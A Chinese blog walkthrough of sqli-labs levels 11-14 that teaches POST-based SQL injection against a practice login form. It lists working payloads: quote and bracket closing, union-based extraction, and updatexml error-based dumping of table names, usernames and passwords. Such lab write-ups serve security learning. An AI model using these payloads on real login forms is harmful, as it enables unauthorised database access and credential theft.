sqli-lab靶场学习(四)——Less11-14(post方法)
前言
第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。
Less11
第11关打开是一个输入用户名密码的界面

显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过单引号闭合看看什么效果:

提示有个报错,看来就是单引号闭合,那可以肯定这里有个注入点,在Username框尝试(注意每个输入前面都有个单引号+空格!是闭合变量用的,不是手误):
' or 1=1 -- asd

是不是发现和第一关的get方法效果类似!既然有回显,那就尝试通过联合注入的方式,先看看有多少列,在Username框输入:
' union select 1 -- asd

这里报错了,表示union后的列数不对,当我们尝试:
' union select 1,2 -- asd

不仅对了,而且还把联合注入部分回显到页面,和第一关类似。那接下来就是获取数据库命了,在Username框输入:
' union select database(),2 -- asd

得到数据库名为security。接着就是获取表名:
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- asd

显然users应该就是我们要找的表,然后是查找列名:
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') -- asd

列名中username和password应该就是我们要找的列,然后查出用户名和密码:
' union select 1,(select group_concat(username) from users) -- asd

' union select 1,(select group_concat(password) from users) -- asd

通关!
Less12
第十二关先输入单引号

显示错误,再输入双引号:

看报错信息,应该是双引号和括号作为闭合,测试一下,在Username框输入:
") or 1=1 -- asd

成功,那就确定了通过双引号+括号闭合。剩下的参考第11关即可,不再复述。
Less13
第13关先测试单引号

看来是单引号+括号的闭合,再测试:
') or 1=1 -- asd

确定了单引号+括号的闭合,但是这里没有登陆正确的回显。不过有错误的回显,所以可以利用updatexml大法来处理,和第五关的处理方式类似。在Username框输入:
') or updatexml('1',concat('~',database(),'~'),'1') -- asd

找出了数据库名为security。然后找出对应表名,Username对话框输入:
') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~'),'1') -- asd

第一个表是emails,我们逐个尝试,当输入:
') or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~'),'1') -- asd

找出了users表。接着是列名,同样我们逐个尝试后,在输入以下两条时找到了username和password列名:
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 4,1),'~'),'1') -- asd
') or updatexml('1',concat('~',(select column_name from information_schema.columns where table_name='users' limit 5,1),'~'),'1') -- asd


之后找出用户名,Username框输入:
') or updatexml('1',concat('~',(select username from security.users limit 0,1),'~'),'1') -- asd

密码:
') or updatexml('1',concat('~',(select password from security.users limit 0,1),'~'),'1') -- asd

通关!
Less14
第14关和13关类似,区别仅在于通过双引号闭合,其余都一样,不另外叙述。
相关文章:
sqli-lab靶场学习(四)——Less11-14(post方法)
前言 第1-10关都是get方法,本关开始进入post方法。其实post也好get也好,本质都差不多,使用的技巧也基本相同。 Less11 第11关打开是一个输入用户名密码的界面 显然登陆对话框会使用post方式提交,这里我们尝试在Username一栏通过…...
GBDT算法原理及其公式推导过程
GBDT(Gradient Boosting Decision Tree,梯度提升决策树)是一种集成学习方法,主要用于回归和分类任务。它的基本思想是通过迭代地构建一系列弱学习器(通常是决策树),并将这些弱学习器组合成一个强…...
网络:UDP协议
个人主页 : 个人主页 个人专栏 : 《数据结构》 《C语言》《C》《Linux》 文章目录 前言UDP协议报头和有效载荷分离的问题有效载荷向上交付的问题,也就是交给哪个进程?怎么确定把报文收全了?UDP报头是如何封装的呢&…...
linux与unix
不同点 1开源性 linux是开源的,unix是闭源的 2跨平台性 linux具有很好的跨平台性,可以运行在多种硬件平台 unix大多需要与指定硬件配套使用 3相关操作 linux既可以进行命令行操作,也可以进行图形化的操作 unix只是命令行下的操作 4对…...
计算机网络29——Linux基本命令vim,gcc编译命令
1、创建新用户 2、给用户设置密码 3、切换到新用户 切换到root用户 4、删除用户 5、查看ip 6、ping 查看物理上两台主机是否联通 7、netstatus 8、nslookup 查看网址的地址 9、负载均衡与容灾备份 负载均衡:指将负载(工作任务)进行平衡、分…...
uniapp离线(本地)打包
安卓离线打包 注意:jdk建议选择1.8 下载Android Studio配置gradle仓库地址 第一步:先下载对应的版本,进行压缩包解压 第二步:在电脑磁盘(D盘),创建文件夹存放压缩包并进行解压,并创…...
如何编写一个爬虫以实时获取某平台商品价格
编写一个爬虫来实时获取某个平台的商品价格是一项实用的任务,可以帮助用户了解市场动态或监控价格变化。以下是一个简单的爬虫示例,使用 Python 的 requests 和 BeautifulSoup 库来抓取商品价格。为了演示,我将以一个假设的电商网站为例&…...
声网SDK脚本运行错误
文章目录 运行步骤无法运行.bat电脑出现警告--更改执行策略若无出现-更新power shell搜索最新版本的 PowerShell安装新版本 仍无法解决-手动下载第三方库 2024-9-9运行步骤 无法运行.bat 电脑出现警告–更改执行策略 若无出现-更新power shell 搜索最新版本的 PowerShell 在…...
Docker + Win 10 学习记录
下载Docker Release notes | Docker Docs 推荐使用4.33版本,最新的Docker版本在win10 22H2无法安装。需要升级到win11. 查看Win10版本是否与最新版的Docker兼容 运行 win R, 然后输入winver 如果你的Docker版本无法在当前的win10安装,请更…...
GlusterFS分布式存储
目录 一、GlusterFS分布式存储概述 1、GFS概念 2、GFS特点 3、GFS术语 4、GFS架构 5、GFS工作流程 6、GlusterFs的卷类型 6.1、 分布式卷(Distributed Volume) 6.2、条带卷(Striped Volume) 6.3、复制卷(Rep…...
ARM/Linux嵌入式面经(三八):绿盟科技
文章目录 @[toc]堆和栈是怎么实现的?基本概念实现方式栈的实现堆的实现面试官的追问堆和栈的运用是怎样运用的、怎样存储的?回答栈(Stack)堆(Heap)深度对比面试官可能的追问Linux系统中进程与进程之间的通信方式有哪些?1. 管道(Pipe)2. 共享内存(Shared Memory)3. 消…...
C#的数据类型转换
目录 C#的数据类型转换 1.隐式转换 2.显式转换 3.Convert类 4.字符串解析 本篇文章来分享一下C#的数据类型转换,主要包括四种方法:隐式转换、显式转换、Convert类、字符串解析。 C#的数据类型转换 1.隐式转换 隐式转换是在不丢失数据的情况下由编译…...
Oracle重做日志文件的添加及删除
在Oracle数据库中,添加和删除日志组文件是数据库维护中的常见操作,它们对于数据库的恢复能力和性能都有重要影响。以下是关于如何在Oracle中添加和删除日志组文件的详细步骤: 一、添加日志组文件 添加日志组文件是为了增加数据库的冗余度和…...
JavaWeb学习
文章目录 学习路线MavenMaven 坐标依赖管理生命周期 1. Web入门HTTP协议Tomcat 2. 请求响应- 请求1. 简单参数2. 实体参数3. 数组集合参数4. 日期参数5.Json参数6.路径参数- 响应响应数据 3.分层解耦三层架构分层解耦IOC & DI入门IOC详解DI详解 4. MySQL数据库设计1. MySQL…...
云原生信息安全:筑牢数字化时代的安全防线
云原生信息安全:筑牢数字化时代的安全防线 一、云原生信息安全概述 云原生安全包含两层重要含义。一方面,面向云原生环境的安全,目标是防护云原生环境中的基础设施、编排系统和微服务等系统的安全。在云原生内部,安全机制多以云原…...
双击就可以打开vue项目,而不用npm run dev
右键点击桌面或其他位置,选择“新建” -> “快捷方式”,在“对象的位置”处直接输入“npm run dev”,然后下一步 自定义一个快捷方式名称 完成后,桌面会创建一个快捷方式,右键快捷方式选择属性,可以看…...
大数据时代的等保测评:数据安全与隐私保护
在大数据时代,等保测评(信息安全等级保护测评)对于数据安全与隐私保护具有至关重要的意义。随着大数据技术的飞速发展,数据已成为企业最宝贵的资产之一,但同时也带来了前所未有的安全挑战。以下是对大数据时代等保测评…...
SpringCloud (1) 服务拆解
1 服务拆解和治理 1.1 服务拆解 微服务的核心就是服务拆分,将传统的大项目拆分为多个微型服务(服务或微服务),实现服务之间"高内聚(微服务职责单一),低耦合(微服务功能相对独立)"的目的 (1) 水平(横向)拆分:先搭出拆分框架,比如【公共服务】(比如:common服务,client…...
STM32F407单片机编程入门(十) IWDG独立看门狗详解及实战含源码
文章目录 一.概要二.独立看门狗介绍1.独立看门狗基本介绍2.独立看门狗功能描述3.独立看门狗复位时间 三.CubeMX配置一个独立看门狗IWDG例程四.CubeMX工程源代码下载五.小结 一.概要 什么是单片机看门狗 看门狗(WDT)是一个定时器,开启看门狗定…...
solana项目counter,测试过程中执行报错记录分享
跟随HackQuest部署counter项目,使用 Solana 官方提供的 playgroud 。这个平台让我们的部署和测试过程变得更加简便高效。 合约代码 lib.rs中复制以下代码 use anchor_lang::prelude::*; use std::ops::DerefMut;declare_id!("CVQCRMyzWNr8MbNhzjbfPu9YVvr97…...
多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
springboot 百货中心供应链管理系统小程序
一、前言 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,百货中心供应链管理系统被用户普遍使用,为方…...
应用升级/灾备测试时使用guarantee 闪回点迅速回退
1.场景 应用要升级,当升级失败时,数据库回退到升级前. 要测试系统,测试完成后,数据库要回退到测试前。 相对于RMAN恢复需要很长时间, 数据库闪回只需要几分钟。 2.技术实现 数据库设置 2个db_recovery参数 创建guarantee闪回点,不需要开启数据库闪回。…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
SpringTask-03.入门案例
一.入门案例 启动类: package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...
PHP 8.5 即将发布:管道操作符、强力调试
前不久,PHP宣布了即将在 2025 年 11 月 20 日 正式发布的 PHP 8.5!作为 PHP 语言的又一次重要迭代,PHP 8.5 承诺带来一系列旨在提升代码可读性、健壮性以及开发者效率的改进。而更令人兴奋的是,借助强大的本地开发环境 ServBay&am…...
